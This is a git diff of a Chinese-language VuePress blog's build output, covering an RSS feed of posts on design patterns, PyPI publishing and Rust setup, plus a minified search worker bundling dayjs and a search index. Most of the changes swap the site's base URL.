  • 享元工厂(Flyweight Factory)角色 :负责创建和管理享元角色。当客户对象请求一个享元对象时,享元工厂检査系统中是否存在符合要求的享元对象,如果存在则提供给客户;如果不存在的话,则创建一个新的享元对象。
  • +
+

众所周知的俄罗斯方块中的一个个方块,如果在俄罗斯方块这个游戏中,每个不同的方块都是一个实例对象,这些对象就要占用很多的内存空间,下面利用享元模式进行实现。

+

在使用享元模式时需要维护一个存储享元对象的享元池,而这需要耗费一定的系统资源,因此,应当在需要多次重复使用享元对象时才值得使用享元模式。

+

优点

+

极大减少内存中相似或相同对象数量,节约系统资源,提供系统性能,享元模式中的外部状态相对独立,且不影响内部状态

+

缺点

+

为了使对象可以共享,需要将享元对象的部分状态外部化,分离内部状态和外部状态,使程序逻辑复杂

+]]>
+
+ + 行为型模式 + https://246859.github.io/my-blog-giscus/posts/code/pattern/04.behavior.html + https://246859.github.io/my-blog-giscus/posts/code/pattern/04.behavior.html + 行为型模式 + 行为型模式 行为型模式用于描述程序在运行时复杂的流程控制,即描述多个类或对象之间怎样相互协作共同完成单个对象都无法单独完成的任务,它涉及算法与对象间职责的分配。行为型模式分为类行为模式和对象行为模式,前者采用继承机制来在类间分派行为,后者采用组合或聚合在对象间分配行为。由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象行为模式比类行为模式具有更大的灵活性。 模板方法模式 定义一个操作中的算法骨架,而将算法的一些步骤延迟到子类中,使得子类可以不改变该算法结构的情况下重定义该算法的某些特定步骤。 抽象类(Abstract Class):负责给出一个算法的轮廓和骨架。它由一个模板方法和若干个基本方法构成。 模板方法:定义了算法的骨架,按某种顺序调用其包含的基本方法。 基本方法:是实现算法各个步骤的方法,是模板方法的组成部分。 具体子类(Concrete Class):实现抽象类中所定义的抽象方法和钩子方法,它们是一个顶级逻辑的组成步骤。 + 设计模式 + Mon, 09 Oct 2023 00:00:00 GMT + 行为型模式 +

行为型模式用于描述程序在运行时复杂的流程控制,即描述多个类或对象之间怎样相互协作共同完成单个对象都无法单独完成的任务,它涉及算法与对象间职责的分配。行为型模式分为类行为模式和对象行为模式,前者采用继承机制来在类间分派行为,后者采用组合或聚合在对象间分配行为。由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象行为模式比类行为模式具有更大的灵活性。

+

模板方法模式

+

定义一个操作中的算法骨架,而将算法的一些步骤延迟到子类中,使得子类可以不改变该算法结构的情况下重定义该算法的某些特定步骤。

+
    +
  • +

    抽象类(Abstract Class):负责给出一个算法的轮廓和骨架。它由一个模板方法和若干个基本方法构成。

    +
      +
    • 模板方法:定义了算法的骨架,按某种顺序调用其包含的基本方法。
    • +
    • 基本方法:是实现算法各个步骤的方法,是模板方法的组成部分。
    • +
    +
  • +
  • +

    具体子类(Concrete Class):实现抽象类中所定义的抽象方法和钩子方法,它们是一个顶级逻辑的组成步骤。

    +
  • +
+

很典型的一个例子,go 标准库中排序sort包下 的Interface接口,其内部定义了三个基本方法和几个模板方法,倘若想要自定义数据结构排序,就必须要实现这三个方法,模板方法内会将基本方法的返回值当作排序的依据。

+

例:北方人都喜欢吃面,而煮面的步骤都是相同的,只是其中的细节和顺序不同,分为,烧水,下面,挑面,放调料。

+

go语言是不提供继承机制的,这里是用匿名组合和手动让父类持有子类引用来模拟的,官方的解决办法是在sort包下,直接将模板方法作为了私有的函数,而不是成员方法,个人认为官方的解决办法会更好一些。

+

观察者模式

+

又被称为发布-订阅(Publish/Subscribe)模式,它定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象。这个主题对象在状态变化时,会通知所有的观察者对象,使他们能够自动更新自己。

+
    +
  • Subject:抽象主题(抽象被观察者),抽象主题角色把所有观察者对象保存在一个集合里,每个主题都可以有任意数量的观察者,抽象主题提供一个接口,可以增加和删除观察者对象。
  • +
  • ConcreteSubject:具体主题(具体被观察者),该角色将有关状态存入具体观察者对象,在具体主题的内部状态发生改变时,给所有注册过的观察者发送通知。
  • +
  • Observer:抽象观察者,是观察者的抽象类,它定义了一个更新接口,使得在得到主题更改通知时更新自己。
  • +
  • ConcrereObserver:具体观察者,实现抽象观察者定义的更新接口,以便在得到主题更改通知时更新自身的状态。
  • +
+

例:一个公众号有很多个订阅用户,公众号更新时会自动通知用户,用户收到通知便会做出相应的行为。

+

备忘录模式

+

又叫快照模式,在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态,以便以后当需要时能将该对象恢复到原先保存的状态。

+
    +
  • 发起人(Originator)角色:记录当前时刻的内部状态信息,提供创建备忘录和恢复备忘录数据的功能,实现其他业务功能,它可以访问备忘录里的所有信息。
  • +
  • 备忘录(Memento)角色:负责存储发起人的内部状态,在需要的时候提供这些内部状态给发起人。
  • +
  • 管理者(Caretaker)角色:对备忘录进行管理,提供保存与获取备忘录的功能,但其不能对备忘录的内容进行访问与修改。
  • +
+
+

提示

+

备忘录有两个等效的接口:

+

窄接口:管理者(Caretaker)对象(和其他发起人对象之外的任何对象)看到的是备忘录的窄接口(narror Interface),这个窄接口只允许他把备忘录对象传给其他的对象。

+

宽接口:与管理者看到的窄接口相反,发起人对象可以看到一个宽接口(wide Interface),这个宽接口允许它读取所有的数据,以便根据这些数据恢复这个发起人对象的内部状态。

+
+

白箱模式

+

黑箱模式

+

优点

+

提供了一种可以恢复状态的机制。当用户需要时能够比较方便地将数据恢复到某个历史的状态。实现了内部状态的封装。除了创建它的发起人之外,其他对象都不能够访问这些状态信息。简化了发起人类。发起人不需要管理和保存其内部状态的各个备份,所有状态信息都保存在备忘录 中,并由管理者进行管理,这符合单一职责原则。

+

缺点

+

资源消耗大。如果要保存的内部状态信息过多或者特别频繁,将会占用比较大的内存资源。

+

责任链模式

+

又名职责链模式,为了避免请求发送者与多个请求处理者耦合在一起,将所有请求的处理者通过前一对象记住其下一个对象的引用而连成一条链;当有请求发生时,可将请求沿着这条链传递,直到有对象处理它为止。

+
    +
  • 抽象处理者(Handler)角色:定义一个处理请求的接口,包含抽象处理方法和一个后继连接。
  • +
  • 具体处理者(Concrete Handler)角色:实现抽象处理者的处理方法,判断能否处理本次请求,如果可以处理请求则处理,否则将该请求转给它的后继者。
  • +
  • 客户类(Client)角色:创建处理链,并向链头的具体处理者对象提交请求,它不关心处理细节和请求的传递过程。
  • +
+
+

提示

+

Gin框架内的中间件就是责任链模式的一个应用。

+
+

例子:现需要开发一个请假流程控制系统。请假一天以下的假只需要小组长同意即可;请假1天到3天的假还需要部门经理同意;请求3天到7天还需要总经理同意才行。

+

其实代码也还可以再简化,本质上调用链传的只是一个个方法,可以不需要Handler接口,将其换为类型为Func(Handlee) bool的类型会更好一些。

+

优点

+

降低了对象之间的耦合度该模式降低了请求发送者和接收者的耦合度。

+

增强了系统的可扩展性可以根据需要增加新的请求处理类,满足开闭原则。

+

增强了给对象指派职责的灵活性当工作流程发生变化,可以动态地改变链内的成员或者修改它们的次序,也可动态地新增或者删除责任。

+

责任链简化了对象之间的连接

+

缺点

+

不能保证每个请求一定被处理。由于一个请求没有明确的接收者,所以不能保证它一定会被处理, 该请求可能一直传到链的末端都得不到处理。 对比较长的职责链,请求的处理可能涉及多个处理对象,系统性能将受到一定影响。

+

策略模式

+

该模式定义了一系列算法,并将每个算法封装起来,使它们可以相互替换,且算法的变化不会影响使用 算法的客户。策略模式属于对象行为模式,它通过对算法进行封装,把使用算法的责任和算法的实现分 割开来,并委派给不同的对象对这些算法进行管理。

+
    +
  • 抽象策略(Strategy)类:这是一个抽象角色,通常由一个接口实现。此角色给出所有 的具体策略类所需的接口。
  • +
  • 具体策略(Concrete Strategy)类:实现了抽象策略定义的接口,提供具体的算法实现或行为。
  • +
  • 环境(Context)类:持有一个策略类的引用,最终给客户端调用。
  • +
+

一个商店同时支持微信支付和支付宝支付,只要传入对应的支付方式就可以支付。

+
    +
  • 策略类之间可以自由切换,由于策略类都实现同一个接口,所以使它们之间可以自由切换。
  • +
  • 易于扩展,增加一个新的策略只需要添加一个具体的策略类即可,基本不需要改变原有的代码,符合“开闭原则“
  • +
  • 避免使用多重条件选择语句(if else),充分体现面向对象设计思想。
  • +
+

命令模式

+

将一个请求封装为一个对象,使发出请求的责任和执行请求的责任分割开。这样两者之间通过命令对象 进行沟通,这样方便将命令对象进行存储、传递、调用、增加与管理。

+
    +
  • 抽象命令类(Command)角色: 定义命令的接口,声明执行的方法。
  • +
  • 具体命令(Concrete Command)角色:具体的命令,实现命令接口;通常会持有接收者,并调用接收者的功能来完成命令要执行的操作。
  • +
  • 实现者/接收者(Receiver)角色: 接收者,真正执行命令的对象。任何类都可能成为一个接收者,只要它能够实现命令要求实现的相应功能。
  • +
  • 调用者/请求者(Invoker)角色: 要求命令对象执行请求,通常会持有命令对象,可以持有很多的命令对象。这个是客户端真正触发命令并要求命令执行相应操作的地方,也就是说相当于使用 命令对象的入口。
  • +
+

迭代器模式

+

提供一个对象来顺序访问聚合对象中的一系列数据,而不暴露聚合对象的内部表示

+
    +
  • 抽象聚合(Aggregate)角色:定义存储、添加、删除聚合元素以及创建迭代器对象的接口。
  • +
  • 具体聚合(ConcreteAggregate)角色:实现抽象聚合类,返回一个具体迭代器的实例。
  • +
  • 抽象迭代器(Iterator)角色:定义访问和遍历聚合元素的接口,通常包含 hasNext()、 next() 等方法。
  • +
  • 具体迭代器(Concretelterator)角色:实现抽象迭代器接口中所定义的方法,完成对聚合对 象的遍历,记录遍历的当前位置。
  • +
+

状态模式

+

对有状态的对象,把复杂的“判断逻辑”提取到不同的状态对象中,允许状态对象在其内部状态发生改变 时改变其行为。

+
    +
  • 环境(Context)角色:也称为上下文,它定义了客户程序需要的接口,维护一个当前状态,并将与状态相关的操作委托给当前状态对象来处理。
  • +
  • 抽象状态(State)角色:定义一个接口,用以封装环境对象中的特定状态所对应的行为。
  • +
  • 具体状态(Concrete State)角色:实现抽象状态所对应的行为。
  • +
+

解释器模式

+

解释器模式定义一套语言文法,并设计该语言解释器,使用户能使用特定文法控制解释器行为。解释器模式的意义在于,它分离多种复杂功能的实现,每个功能只需关注自身的解释。对于调用者不用关心内部的解释器的工作,只需要用简单的方式组合命令就可以。

+

访问者模式

+

封装一些作用于某种数据结构中的各元素的操作,它可以在不改变这个数据结构的前提下定义作用于这些元素的新的操作。

+

中介者模式

+

又叫调停模式,定义一个中介角色来封装一系列对象之间的交互,使原有对象之间的耦合松散,且可以 独立地改变它们之间的交互。

+
    +
  • 抽象中介者(Mediator)角色:它是中介者的接口,提供了同事对象注册与转发同事对象信息的抽象方法。
  • +
  • 具体中介者(ConcreteMediator)角色:实现中介者接口,定义一个 List 来管理同事对 象,协调各个同事角色之间的交互关系,因此它依赖于同事角色。
  • +
  • 抽象同事类(Colleague)角色:定义同事类的接口,保存中介者对象,提供同事对象交互的抽 象方法,实现所有相互影响的同事类的公共功能。
  • +
  • 具体同事类(Concrete Colleague)角色:是抽象同事类的实现者,当需要与其他同事对象交 互时,由中介者对象负责后续的交互。
  • +
+
]]>
+
+ + 在Pypi上发布自己的项目 + https://246859.github.io/my-blog-giscus/posts/code/python/pypi_upload.html + https://246859.github.io/my-blog-giscus/posts/code/python/pypi_upload.html + 在Pypi上发布自己的项目 + 在Pypi上发布自己的项目 + python + Mon, 10 Jun 2024 00:00:00 GMT + 在Pypi上发布自己的项目 +
+ +
+

最近在用到一个python库的时候,发现了一个bug,看了看原仓库上次更新都是2022年了,估计我提了PR也不会被合并,于是我打算自己修复发布成一个新的包,此前没有了解过这些方面的知识,于是顺便写了这篇文章做一个记录。

+

官方教程:Packaging Python Projects - Python Packaging User Guide

+

PyPI

+

官网:PyPI · The Python Package Index

+

第一步是在PyPI上注册一个自己的账号,然后申请一个API Token,这个Token就是专门用来上传软件包的。

+
+

你可以在username/Account settings/API tokens位置找到有关Token的内容,现在的话申请Token必须要2FA认证,可以用自己喜欢的2FA应用来完成认证,在成功创建后,Token只会显示一次,为了后续方便使用,建议将其保存到本地的文件中,保存位置为user/.pypirc文件中。

+

后续在用到的时候就会自动读取,不需要手动认证。

+

规范

+

对于一个规范的项目而言,应该有如下几样东西

+
    +
  • LICENSE,开源证书
  • +
  • README,基本的文档
  • +
  • setup.py,打包用的清单文件
  • +
+

其它都还好,主要来讲讲这个setup.py,由于它稍微有点复杂,可以通过pyproject.toml配置文件来替代,不过其灵活性不如前者,比如下面是一个TOML的例子

+

通过配置文件可以很直观的了解到这些信息,不过稍微旧一点的项目都是使用setup.py来管理的,下面看一个setup.py的例子,该例子由知名开源作者kennethreitz提供

+

该文件中主要是通过setup函数来进行管理,除了这个函数之外其它都是锦上添花的东西,根据你的需求去填写关键字参数即可。

+

打包

+

首先安装打包工具

+

然后在项目根目录下执行,会在dist目录下生成tar.gz压缩文件

+

然后安装上传工具twine

+

使用时只需要指定目录和项目名即可

+

由于前面在.pypirc文件中配置了token,这里会自动读取,不需要输入。

+

测试

+

如果要测试的话,最好不要使用pip镜像,因为它们同步不及时,建议指定-i https://pypi.org/simple/官方源。

+
]]>
+ +
+ + Rust安装与入门 + https://246859.github.io/my-blog-giscus/posts/code/rust/install.html + https://246859.github.io/my-blog-giscus/posts/code/rust/install.html + Rust安装与入门 + Rust安装与入门 + rust + Wed, 06 Dec 2023 00:00:00 GMT + Rust安装与入门 +
+ +
+

在这之前早已听说过rust的大名,虽然我在知乎上看到的rust貌似都是负面的评价?但这不影响我去了解这门比较热门的新语言,貌似2015年才正式发布。以前就听说过rust的学习难度非常陡峭,现在就来会一会。

+

文档:安装 Rust - Rust 程序设计语言 (rust-lang.org)

+

准备环境

+

学习语言的第一步就是就是安装它,这一块rust做的确实挺好的,有一个专门的安装和版本管理工具rustup,所以我们只需要下载rustup就行了。

+
+

在此之前还需要下载MSVC也就是Microsoft C++ 生成工具,没有它的话就没法编译。然后再下载rustup-init.exe,点击执行后是一个命令行,全选默认选项即可,然后它就会帮你安装好rust和cargo,并且配置环境变量。重启一下命令行,执行

+

能够正确输出版本就说明安装成功了。

+

编辑器

+

这个就看个人喜好了,用什么其实都能写,推荐使用Vscode,JB家新出了一个RustOver,但是还不稳定。使用vscode的话要下载rust拓展,建议下载rust-analyzer,这是社区的rust插件,官方的已经不维护了。

+
+

cargo

+

cargo是rust的包管理工具,相当于gomod,npm这类工具,但是要完善的许多。

+]]>
+ +
VuePress博客教程 - https://zihu.github.io/posts/code/vuepresshope.html - https://zihu.github.io/posts/code/vuepresshope.html - VuePress博客教程 + https://246859.github.io/my-blog-giscus/posts/code/vuepresshope.html + https://246859.github.io/my-blog-giscus/posts/code/vuepresshope.html + VuePress博客教程 VuePress博客教程 VuePress是一个vue驱动的静态网站生成器,非常适合来写静态文档,当然也可以拿来编写个人博客,配合第三方开发的主题可以做出非常精美的静态网站。 技术日志 Tue, 12 Jul 2022 00:00:00 GMT @@ -179,9 +4203,9 @@ 海边的一段代码 - https://zihu.github.io/posts/life/2023_01_22.html - https://zihu.github.io/posts/life/2023_01_22.html - 海边的一段代码 + https://246859.github.io/my-blog-giscus/posts/life/2023_01_22.html + https://246859.github.io/my-blog-giscus/posts/life/2023_01_22.html + 海边的一段代码 海边的一段代码 过年的时候在厦门的海滩上,别人都在写和谁谁相爱一辈子,而我写了一段代码。 生活随笔 Sun, 22 Jan 2023 00:00:00 GMT @@ -195,9 +4219,9 @@ ubuntu自定义系统服务 - https://zihu.github.io/posts/code/linux/linuxservice.html - https://zihu.github.io/posts/code/linux/linuxservice.html - ubuntu自定义系统服务 + https://246859.github.io/my-blog-giscus/posts/code/linux/linuxservice.html + https://246859.github.io/my-blog-giscus/posts/code/linux/linuxservice.html + ubuntu自定义系统服务 ubuntu自定义系统服务 Linux Sat, 28 Jan 2023 00:00:00 GMT diff --git a/search-pro.worker.js b/search-pro.worker.js index 1277ee3..c4e324c 100644 --- a/search-pro.worker.js +++ b/search-pro.worker.js @@ -1,2 +1,2 @@ -const J=(s,T)=>{const p=s.toLowerCase(),v=T.toLowerCase(),C=[];let O=0,m=0;const D=(f,Y=!1)=>{let y="";m===0?y=f.length>20?`… ${f.slice(-20)}`:f:Y?y=f.length+m>100?`${f.slice(0,100-m)}… `:f:y=f.length>20?`${f.slice(0,20)} … ${f.slice(-20)}`:f,y&&C.push(y),m+=y.length,Y||(C.push(["strong",T]),m+=T.length,m>=100&&C.push(" …"))};let l=p.indexOf(v,O);if(l===-1)return null;for(;l>=0;){const f=l+v.length;if(D(s.slice(O,l)),O=f,m>100)break;l=p.indexOf(v,O)}return m<100&&D(s.slice(O),!0),C};function ct(s){return s}const nt=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},rt="__vueuse_ssr_handlers__";nt[rt]=nt[rt]||{};var it;(function(s){s.UP="UP",s.RIGHT="RIGHT",s.DOWN="DOWN",s.LEFT="LEFT",s.NONE="NONE"})(it||(it={}));var ft=Object.defineProperty,st=Object.getOwnPropertySymbols,ht=Object.prototype.hasOwnProperty,lt=Object.prototype.propertyIsEnumerable,at=(s,T,p)=>T in s?ft(s,T,{enumerable:!0,configurable:!0,writable:!0,value:p}):s[T]=p,dt=(s,T)=>{for(var p in T||(T={}))ht.call(T,p)&&at(s,p,T[p]);if(st)for(var p of st(T))lt.call(T,p)&&at(s,p,T[p]);return s};const $t={easeInSine:[.12,0,.39,0],easeOutSine:[.61,1,.88,1],easeInOutSine:[.37,0,.63,1],easeInQuad:[.11,0,.5,0],easeOutQuad:[.5,1,.89,1],easeInOutQuad:[.45,0,.55,1],easeInCubic:[.32,0,.67,0],easeOutCubic:[.33,1,.68,1],easeInOutCubic:[.65,0,.35,1],easeInQuart:[.5,0,.75,0],easeOutQuart:[.25,1,.5,1],easeInOutQuart:[.76,0,.24,1],easeInQuint:[.64,0,.78,0],easeOutQuint:[.22,1,.36,1],easeInOutQuint:[.83,0,.17,1],easeInExpo:[.7,0,.84,0],easeOutExpo:[.16,1,.3,1],easeInOutExpo:[.87,0,.13,1],easeInCirc:[.55,0,1,.45],easeOutCirc:[0,.55,.45,1],easeInOutCirc:[.85,0,.15,1],easeInBack:[.36,0,.66,-.56],easeOutBack:[.34,1.56,.64,1],easeInOutBack:[.68,-.6,.32,1.6]};dt({linear:ct},$t);var R=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},V={},vt={get exports(){return V},set exports(s){V=s}};(function(s,T){(function(p,v){s.exports=v()})(R,function(){var p=1e3,v=6e4,C=36e5,O="millisecond",m="second",D="minute",l="hour",f="day",Y="week",y="month",i="quarter",a="year",g="date",e="Invalid Date",u=/^(\d{4})[-/]?(\d{1,2})?[-/]?(\d{0,2})[Tt\s]*(\d{1,2})?:?(\d{1,2})?:?(\d{1,2})?[.:]?(\d+)?$/,w=/\[([^\]]+)]|Y{1,4}|M{1,4}|D{1,2}|d{1,4}|H{1,2}|h{1,2}|a|A|m{1,2}|s{1,2}|Z{1,2}|SSS/g,S={name:"en",weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),ordinal:function(o){var r=["th","st","nd","rd"],t=o%100;return"["+o+(r[(t-20)%10]||r[t]||r[0])+"]"}},x=function(o,r,t){var c=String(o);return!c||c.length>=r?o:""+Array(r+1-c.length).join(t)+o},k={s:x,z:function(o){var r=-o.utcOffset(),t=Math.abs(r),c=Math.floor(t/60),n=t%60;return(r<=0?"+":"-")+x(c,2,"0")+":"+x(n,2,"0")},m:function o(r,t){if(r.date()1)return o(h[0])}else{var b=r.name;U[b]=r,n=b}return!c&&n&&(I=n),n||!c&&I},M=function(o,r){if(z(o))return o.clone();var t=typeof r=="object"?r:{};return t.date=o,t.args=arguments,new W(t)},$=k;$.l=E,$.i=z,$.w=function(o,r){return M(o,{locale:r.$L,utc:r.$u,x:r.$x,$offset:r.$offset})};var W=function(){function o(t){this.$L=E(t.locale,null,!0),this.parse(t)}var r=o.prototype;return r.parse=function(t){this.$d=function(c){var n=c.date,d=c.utc;if(n===null)return new Date(NaN);if($.u(n))return new Date;if(n instanceof Date)return new Date(n);if(typeof n=="string"&&!/Z$/i.test(n)){var h=n.match(u);if(h){var b=h[2]-1||0,H=(h[7]||"0").substring(0,3);return d?new Date(Date.UTC(h[1],b,h[3]||1,h[4]||0,h[5]||0,h[6]||0,H)):new Date(h[1],b,h[3]||1,h[4]||0,h[5]||0,h[6]||0,H)}}return new Date(n)}(t),this.$x=t.x||{},this.init()},r.init=function(){var t=this.$d;this.$y=t.getFullYear(),this.$M=t.getMonth(),this.$D=t.getDate(),this.$W=t.getDay(),this.$H=t.getHours(),this.$m=t.getMinutes(),this.$s=t.getSeconds(),this.$ms=t.getMilliseconds()},r.$utils=function(){return $},r.isValid=function(){return this.$d.toString()!==e},r.isSame=function(t,c){var n=M(t);return this.startOf(c)<=n&&n<=this.endOf(c)},r.isAfter=function(t,c){return M(t)=0?1:w.date()),x=u.year||w.year(),k=u.month>=0?u.month:u.year||u.day?0:w.month(),I=u.hour||0,U=u.minute||0,z=u.second||0,E=u.millisecond||0;return e?new Date(Date.UTC(x,k,S,I,U,z,E)):new Date(x,k,S,I,U,z,E)}return g},D=O.parse;O.parse=function(i){i.date=m.bind(this)(i),D.bind(this)(i)};var l=O.set,f=O.add,Y=O.subtract,y=function(i,a,g,e){e===void 0&&(e=1);var u=Object.keys(a),w=this;return u.forEach(function(S){w=i.bind(w)(a[S]*e,S)}),w};O.set=function(i,a){return a=a===void 0?i:a,i.constructor.name==="Object"?y.bind(this)(function(g,e){return l.bind(this)(e,g)},a,i):l.bind(this)(i,a)},O.add=function(i,a){return i.constructor.name==="Object"?y.bind(this)(f,i,a):f.bind(this)(i,a)},O.subtract=function(i,a){return i.constructor.name==="Object"?y.bind(this)(f,i,a,-1):Y.bind(this)(i,a)}}})})(mt);var gt=K,X={},pt={get exports(){return X},set exports(s){X=s}};(function(s,T){(function(p,v){s.exports=v()})(R,function(){var p={year:0,month:1,day:2,hour:3,minute:4,second:5},v={};return function(C,O,m){var D,l=function(i,a,g){g===void 0&&(g={});var e=new Date(i),u=function(w,S){S===void 0&&(S={});var x=S.timeZoneName||"short",k=w+"|"+x,I=v[k];return I||(I=new Intl.DateTimeFormat("en-US",{hour12:!1,timeZone:w,year:"numeric",month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit",second:"2-digit",timeZoneName:x}),v[k]=I),I}(a,g);return u.formatToParts(e)},f=function(i,a){for(var g=l(i,a),e=[],u=0;u=0&&(e[k]=parseInt(x,10))}var I=e[3],U=I===24?0:I,z=e[0]+"-"+e[1]+"-"+e[2]+" "+U+":"+e[4]+":"+e[5]+":000",E=+i;return(m.utc(z).valueOf()-(E-=E%1e3))/6e4},Y=O.prototype;Y.tz=function(i,a){i===void 0&&(i=D);var g=this.utcOffset(),e=this.toDate(),u=e.toLocaleString("en-US",{timeZone:i}),w=Math.round((e-new Date(u))/1e3/60),S=m(u).$set("millisecond",this.$ms).utcOffset(15*-Math.round(e.getTimezoneOffset()/15)-w,!0);if(a){var x=S.utcOffset();S=S.add(g-x,"minute")}return S.$x.$timezone=i,S},Y.offsetName=function(i){var a=this.$x.$timezone||m.tz.guess(),g=l(this.valueOf(),a,{timeZoneName:i}).find(function(e){return e.type.toLowerCase()==="timezonename"});return g&&g.value};var y=Y.startOf;Y.startOf=function(i,a){if(!this.$x||!this.$x.$timezone)return y.call(this,i,a);var g=m(this.format("YYYY-MM-DD HH:mm:ss:SSS"));return y.call(g,i,a).tz(this.$x.$timezone,!0)},m.tz=function(i,a,g){var e=g&&a,u=g||a||D,w=f(+m(),u);if(typeof i!="string")return m(i).tz(u);var S=function(U,z,E){var M=U-60*z*1e3,$=f(M,E);if(z===$)return[M,z];var W=f(M-=60*($-z)*1e3,E);return $===W?[M,$]:[U-60*Math.min($,W)*1e3,Math.max($,W)]}(m.utc(i,e).valueOf(),w,u),x=S[0],k=S[1],I=m(x).utcOffset(k);return I.$x.$timezone=u,I},m.tz.guess=function(){return Intl.DateTimeFormat().resolvedOptions().timeZone},m.tz.setDefault=function(i){D=i}}})})(pt);var Ot=X,tt={},yt={get exports(){return tt},set exports(s){tt=s}};(function(s,T){(function(p,v){s.exports=v()})(R,function(){var p="minute",v=/[+-]\d\d(?::?\d\d)?/g,C=/([+-]|\d\d)/g;return function(O,m,D){var l=m.prototype;D.utc=function(e){var u={date:e,utc:!0,args:arguments};return new m(u)},l.utc=function(e){var u=D(this.toDate(),{locale:this.$L,utc:!0});return e?u.add(this.utcOffset(),p):u},l.local=function(){return D(this.toDate(),{locale:this.$L,utc:!1})};var f=l.parse;l.parse=function(e){e.utc&&(this.$u=!0),this.$utils().u(e.$offset)||(this.$offset=e.$offset),f.call(this,e)};var Y=l.init;l.init=function(){if(this.$u){var e=this.$d;this.$y=e.getUTCFullYear(),this.$M=e.getUTCMonth(),this.$D=e.getUTCDate(),this.$W=e.getUTCDay(),this.$H=e.getUTCHours(),this.$m=e.getUTCMinutes(),this.$s=e.getUTCSeconds(),this.$ms=e.getUTCMilliseconds()}else Y.call(this)};var y=l.utcOffset;l.utcOffset=function(e,u){var w=this.$utils().u;if(w(e))return this.$u?0:w(this.$offset)?y.call(this):this.$offset;if(typeof e=="string"&&(e=function(I){I===void 0&&(I="");var U=I.match(v);if(!U)return null;var z=(""+U[0]).match(C)||["-",0,0],E=z[0],M=60*+z[1]+ +z[2];return M===0?0:E==="+"?M:-M}(e),e===null))return this;var S=Math.abs(e)<=16?60*e:e,x=this;if(u)return x.$offset=S,x.$u=e===0,x;if(e!==0){var k=this.$u?this.toDate().getTimezoneOffset():-1*this.utcOffset();(x=this.local().add(S+k,p)).$offset=S,x.$x.$localOffset=k}else x=this.utc();return x};var i=l.format;l.format=function(e){var u=e||(this.$u?"YYYY-MM-DDTHH:mm:ss[Z]":"");return i.call(this,u)},l.valueOf=function(){var e=this.$utils().u(this.$offset)?0:this.$offset+(this.$x.$localOffset||this.$d.getTimezoneOffset());return this.$d.valueOf()-6e4*e},l.isUTC=function(){return!!this.$u},l.toISOString=function(){return this.toDate().toISOString()},l.toString=function(){return this.toDate().toUTCString()};var a=l.toDate;l.toDate=function(e){return e==="s"&&this.$offset?D(this.format("YYYY-MM-DD HH:mm:ss:SSS")).toDate():a.call(this)};var g=l.diff;l.diff=function(e,u,w){if(e&&this.$u===e.$u)return g.call(this,e,u,w);var S=this.local(),x=D(e).local();return g.call(S,x,u,w)}}})})(yt);var Dt=tt;G.extend(gt),G.extend(Dt),G.extend(Ot);const ut=Object.entries,Mt=Object.keys,ot=s=>s.reduce((T,{type:p})=>T+(p==="title"?50:p==="heading"?20:p==="custom"?10:1),0),St=(s,T)=>{var p;const v={};for(const[C,O]of ut(T)){const m=((p=T[C.replace(/\/[^\\]*$/,"")])==null?void 0:p.title)||"",D=`${m?`${m} > `:""}${O.title}`,l=J(O.title,s);l&&(v[D]=[...v[D]||[],{type:"title",path:C,display:l}]),O.customFields&&ut(O.customFields).forEach(([f,Y])=>{Y.forEach(y=>{const i=J(y,s);i&&(v[D]=[...v[D]||[],{type:"custom",path:C,index:f,display:i}])})});for(const f of O.contents){const Y=J(f.header,s);Y&&(v[D]=[...v[D]||[],{type:"heading",path:C+(f.slug?`#${f.slug}`:""),display:Y}]);for(const y of f.contents){const i=J(y,s);i&&(v[D]=[...v[D]||[],{type:"content",header:f.header,path:C+(f.slug?`#${f.slug}`:""),display:i}])}}}return Mt(v).sort((C,O)=>ot(v[C])-ot(v[O])).map(C=>({title:C,contents:v[C]}))},bt=JSON.parse("{\"/\":{\"/intro.html\":{\"title\":\"我的路\",\"contents\":[{\"header\":\"\",\"slug\":\"\",\"contents\":[\"路漫漫其修远兮,吾将上下而求索\"]}]},\"/tool.html\":{\"title\":\"工具箱\",\"contents\":[{\"header\":\"网络工具\",\"slug\":\"网络工具\",\"contents\":[\"SMS-Activate,国外手机号接码平台\",\"GLaDOS,一个网络代理商\",\"IP.cn,ip查询\",\"中国科学技术大学测速网站,中科大测速网站\"]},{\"header\":\"查询工具\",\"slug\":\"查询工具\",\"contents\":[\"Emoji表情大全\",\"Unicode符号表\",\"ASCII符号表\",\"汉字字符集\",\"Redis reference\",\"golang reference\",\"Markdown 语法速查表\"]},{\"header\":\"图标网站\",\"slug\":\"图标网站\",\"contents\":[\"DEVICON,专门收集编程相关的图标\",\"Iconify Design,开源的图标集合\",\"iconfont,阿里妈妈做的图标站\",\"flaticon,国外的矢量图标网站\"]},{\"header\":\"图片素材\",\"slug\":\"图片素材\",\"contents\":[\"GIPHY,动图素材网站\",\"Awesome Wallpapers,国外很出名的一个壁纸网站\",\"Pixabay\",\"Beautiful Free Images & Pictures | Unsplash\",\"Free high resolution photography - Life of Pix - Home\"]},{\"header\":\"镜像工具\",\"slug\":\"镜像工具\",\"contents\":[\"清华大学开源软件镜像站,清华镜像站,我愿称之为唯一真神\",\"腾讯软件源\",\"阿里巴巴开源镜像站\",\"华为开源镜像站\",\"网易开源镜像站\",\"Docker Proxy,docker代理\",\"Goproxy.cn,七牛云的go pkg代理\"]},{\"header\":\"转换工具\",\"slug\":\"转换工具\",\"contents\":[\"iLovePDF,PDF文档转换工具\",\"EasyConvert,Markdown转换工具\",\"Convertio,文件转换器\",\"iLoveIMG,图像编辑工具\",\"docsmall/compress,图片压缩工具\",\"日期计算 日期计算器\",\"进制转换 进制转换器\"]},{\"header\":\"开发工具\",\"slug\":\"开发工具\",\"contents\":[\"Compiler Explorer,可以在线把代码转换成汇编形式\",\"ASCII Generator,Banner生成器\",\"ASCII gen, img2asci\",\"Toptal,js压缩工具\",\"IPcheck,IP地址查询地理信息\",\"Web 